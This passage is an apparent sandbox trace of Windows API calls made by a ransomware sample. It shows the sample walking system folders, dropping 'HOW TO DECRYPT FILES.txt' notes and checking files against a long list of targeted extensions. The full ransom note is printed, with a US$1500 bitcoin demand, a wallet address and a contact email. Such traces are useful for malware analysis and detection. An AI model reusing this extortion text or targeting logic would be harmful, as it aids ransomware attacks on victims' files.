files.txt")) returned 0xffffffff [0127.152] CreateFileA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0127.155] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.156] CloseHandle (hObject=0x88) returned 1 [0127.156] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="CreateDisc.dll" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\CreateDisc.dll") returned="C:\\Windows\\ehome\\CreateDisc\\CreateDisc.dll" [0127.156] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\CreateDisc.dll", pszSpec="*.ems") returned 0 [0127.156] lstrcmpA (lpString1=".", lpString2="Filters") returned -1 [0127.156] lstrcmpA (lpString1="..", lpString2="Filters") returned -1 [0127.156] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\CreateDisc.dll") returned="CreateDisc.dll" [0127.156] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="Filters" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters") returned="C:\\Windows\\ehome\\CreateDisc\\Filters" [0127.156] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501550, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.157] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.157] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.157] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.157] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AudioDepthConverter.ax") returned 1 [0127.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AudioDepthConverter.ax") returned 1 [0127.157] lstrcmpiA (lpString1="", lpString2="AudioDepthConverter.ax") returned -1 [0127.157] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\*.*") returned="*.*" [0127.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\" [0127.158] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="" [0127.158] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" [0127.158] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\how to decrypt files.txt")) returned 0xffffffff [0127.158] CreateFileA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0127.162] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0127.162] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0127.164] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.164] CloseHandle (hObject=0x8c) returned 1 [0127.164] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="AudioDepthConverter.ax" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax" [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.ems") returned 0 [0127.165] lstrlenA (lpString="*.ems") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.db") returned 0 [0127.165] lstrlenA (lpString="*.db") returned 4 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.dbf") returned 0 [0127.165] lstrlenA (lpString="*.dbf") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.myox") returned 0 [0127.165] lstrlenA (lpString="*.myox") returned 6 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.myo") returned 0 [0127.165] lstrlenA (lpString="*.myo") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qbw") returned 0 [0127.165] lstrlenA (lpString="*.qbw") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qbb") returned 0 [0127.165] lstrlenA (lpString="*.qbb") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qbm") returned 0 [0127.165] lstrlenA (lpString="*.qbm") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qbo") returned 0 [0127.165] lstrlenA (lpString="*.qbo") returned 5 [0127.165] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qbx") returned 0 [0127.165] lstrlenA (lpString="*.qbx") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qba") returned 0 [0127.166] lstrlenA (lpString="*.qba") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qby") returned 0 [0127.166] lstrlenA (lpString="*.qby") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qbj") returned 0 [0127.166] lstrlenA (lpString="*.qbj") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.ofx") returned 0 [0127.166] lstrlenA (lpString="*.ofx") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.qif") returned 0 [0127.166] lstrlenA (lpString="*.qif") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mye") returned 0 [0127.166] lstrlenA (lpString="*.mye") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mbox") returned 0 [0127.166] lstrlenA (lpString="*.mbox") returned 6 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.eml") returned 0 [0127.166] lstrlenA (lpString="*.eml") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.pst") returned 0 [0127.166] lstrlenA (lpString="*.pst") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.ost") returned 0 [0127.166] lstrlenA (lpString="*.ost") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.idx") returned 0 [0127.166] lstrlenA (lpString="*.idx") returned 5 [0127.166] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.dbx") returned 0 [0127.166] lstrlenA (lpString="*.dbx") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.sql") returned 0 [0127.167] lstrlenA (lpString="*.sql") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mdb") returned 0 [0127.167] lstrlenA (lpString="*.mdb") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.fdb") returned 0 [0127.167] lstrlenA (lpString="*.fdb") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.wab") returned 0 [0127.167] lstrlenA (lpString="*.wab") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.dat") returned 0 [0127.167] lstrlenA (lpString="*.dat") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.txt") returned 0 [0127.167] lstrlenA (lpString="*.txt") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.jpeg") returned 0 [0127.167] lstrlenA (lpString="*.jpeg") returned 6 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.jpg") returned 0 [0127.167] lstrlenA (lpString="*.jpg") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.png") returned 0 [0127.167] lstrlenA (lpString="*.png") returned 5 [0127.167] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.php") returned 0 [0127.167] lstrlenA (lpString="*.php") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.cs") returned 0 [0127.168] lstrlenA (lpString="*.cs") returned 4 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.cpp") returned 0 [0127.168] lstrlenA (lpString="*.cpp") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.rar") returned 0 [0127.168] lstrlenA (lpString="*.rar") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.zip") returned 0 [0127.168] lstrlenA (lpString="*.zip") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.html") returned 0 [0127.168] lstrlenA (lpString="*.html") returned 6 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.htm") returned 0 [0127.168] lstrlenA (lpString="*.htm") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.xlsx") returned 0 [0127.168] lstrlenA (lpString="*.xlsx") returned 6 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.xls") returned 0 [0127.168] lstrlenA (lpString="*.xls") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mp4") returned 0 [0127.168] lstrlenA (lpString="*.mp4") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.ppt") returned 0 [0127.168] lstrlenA (lpString="*.ppt") returned 5 [0127.168] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.pptx") returned 0 [0127.168] lstrlenA (lpString="*.pptx") returned 6 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.doc") returned 0 [0127.169] lstrlenA (lpString="*.doc") returned 5 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.dot") returned 0 [0127.169] lstrlenA (lpString="*.dot") returned 5 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.docx") returned 0 [0127.169] lstrlenA (lpString="*.docx") returned 6 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.7z") returned 0 [0127.169] lstrlenA (lpString="*.7z") returned 4 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.tar") returned 0 [0127.169] lstrlenA (lpString="*.tar") returned 5 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.bz2") returned 0 [0127.169] lstrlenA (lpString="*.bz2") returned 5 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.gz") returned 0 [0127.169] lstrlenA (lpString="*.gz") returned 4 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mkv") returned 0 [0127.169] lstrlenA (lpString="*.mkv") returned 5 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.eml") returned 0 [0127.169] lstrlenA (lpString="*.eml") returned 5 [0127.169] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.msg") returned 0 [0127.169] lstrlenA (lpString="*.msg") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.edb") returned 0 [0127.170] lstrlenA (lpString="*.edb") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.accdb") returned 0 [0127.170] lstrlenA (lpString="*.accdb") returned 7 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.odb") returned 0 [0127.170] lstrlenA (lpString="*.odb") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.java") returned 0 [0127.170] lstrlenA (lpString="*.java") returned 6 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.asm") returned 0 [0127.170] lstrlenA (lpString="*.asm") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.pfx") returned 0 [0127.170] lstrlenA (lpString="*.pfx") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.pem") returned 0 [0127.170] lstrlenA (lpString="*.pem") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.p12") returned 0 [0127.170] lstrlenA (lpString="*.p12") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.gpg") returned 0 [0127.170] lstrlenA (lpString="*.gpg") returned 5 [0127.170] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.vsd") returned 0 [0127.170] lstrlenA (lpString="*.vsd") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.odg") returned 0 [0127.171] lstrlenA (lpString="*.odg") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.raw") returned 0 [0127.171] lstrlenA (lpString="*.raw") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.nef") returned 0 [0127.171] lstrlenA (lpString="*.nef") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.svg") returned 0 [0127.171] lstrlenA (lpString="*.svg") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.psd") returned 0 [0127.171] lstrlenA (lpString="*.psd") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.vmx") returned 0 [0127.171] lstrlenA (lpString="*.vmx") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.vmdk") returned 0 [0127.171] lstrlenA (lpString="*.vmdk") returned 6 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.vdi") returned 0 [0127.171] lstrlenA (lpString="*.vdi") returned 5 [0127.171] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.lay6") returned 0 [0127.171] lstrlenA (lpString="*.lay6") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mpeg") returned 0 [0127.172] lstrlenA (lpString="*.mpeg") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.djvu") returned 0 [0127.172] lstrlenA (lpString="*.djvu") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.tiff") returned 0 [0127.172] lstrlenA (lpString="*.tiff") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.backup") returned 0 [0127.172] lstrlenA (lpString="*.backup") returned 8 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.pdf") returned 0 [0127.172] lstrlenA (lpString="*.pdf") returned 5 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.cert") returned 0 [0127.172] lstrlenA (lpString="*.cert") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.docm") returned 0 [0127.172] lstrlenA (lpString="*.docm") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.xlsm") returned 0 [0127.172] lstrlenA (lpString="*.xlsm") returned 6 [0127.172] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.dwg") returned 0 [0127.172] lstrlenA (lpString="*.dwg") returned 5 [0127.173] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.nd") returned 0 [0127.173] lstrlenA (lpString="*.nd") returned 4 [0127.173] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.tlg") returned 0 [0127.173] lstrlenA (lpString="*.tlg") returned 5 [0127.173] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.lgb") returned 0 [0127.173] lstrlenA (lpString="*.lgb") returned 5 [0127.173] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mov") returned 0 [0127.173] lstrlenA (lpString="*.mov") returned 5 [0127.173] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.xdw") returned 0 [0127.173] lstrlenA (lpString="*.xdw") returned 5 [0127.173] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.ods") returned 0 [0127.173] lstrlenA (lpString="*.ods") returned 5 [0127.174] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.wav") returned 0 [0127.174] lstrlenA (lpString="*.wav") returned 5 [0127.174] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.mp3") returned 0 [0127.174] lstrlenA (lpString="*.mp3") returned 5 [0127.175] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.aiff") returned 0 [0127.175] lstrlenA (lpString="*.aiff") returned 6 [0127.175] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.flac") returned 0 [0127.175] lstrlenA (lpString="*.flac") returned 6 [0127.175] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.m4a") returned 0 [0127.175] lstrlenA (lpString="*.m4a") returned 5 [0127.175] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax", pszSpec="*.csv") returned 0 [0127.175] lstrlenA (lpString="*.csv") returned 5 [0127.175] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3092d8b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3092d8b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3092d8b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectShowTap.ax", cAlternateFileName="")) returned 1 [0127.175] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.175] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DirectShowTap.ax") returned 1 [0127.175] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DirectShowTap.ax") returned 1 [0127.175] lstrcmpiA (lpString1="", lpString2="DirectShowTap.ax") returned -1 [0127.175] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\AudioDepthConverter.ax") returned="AudioDepthConverter.ax" [0127.175] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\" [0127.175] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="" [0127.175] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" [0127.175] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\how to decrypt files.txt")) returned 0x20 [0127.176] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="DirectShowTap.ax" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax" [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.ems") returned 0 [0127.176] lstrlenA (lpString="*.ems") returned 5 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.db") returned 0 [0127.176] lstrlenA (lpString="*.db") returned 4 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.dbf") returned 0 [0127.176] lstrlenA (lpString="*.dbf") returned 5 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.myox") returned 0 [0127.176] lstrlenA (lpString="*.myox") returned 6 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.myo") returned 0 [0127.176] lstrlenA (lpString="*.myo") returned 5 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qbw") returned 0 [0127.176] lstrlenA (lpString="*.qbw") returned 5 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qbb") returned 0 [0127.176] lstrlenA (lpString="*.qbb") returned 5 [0127.176] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qbm") returned 0 [0127.176] lstrlenA (lpString="*.qbm") returned 5 [0127.177] PathMatchSpecA 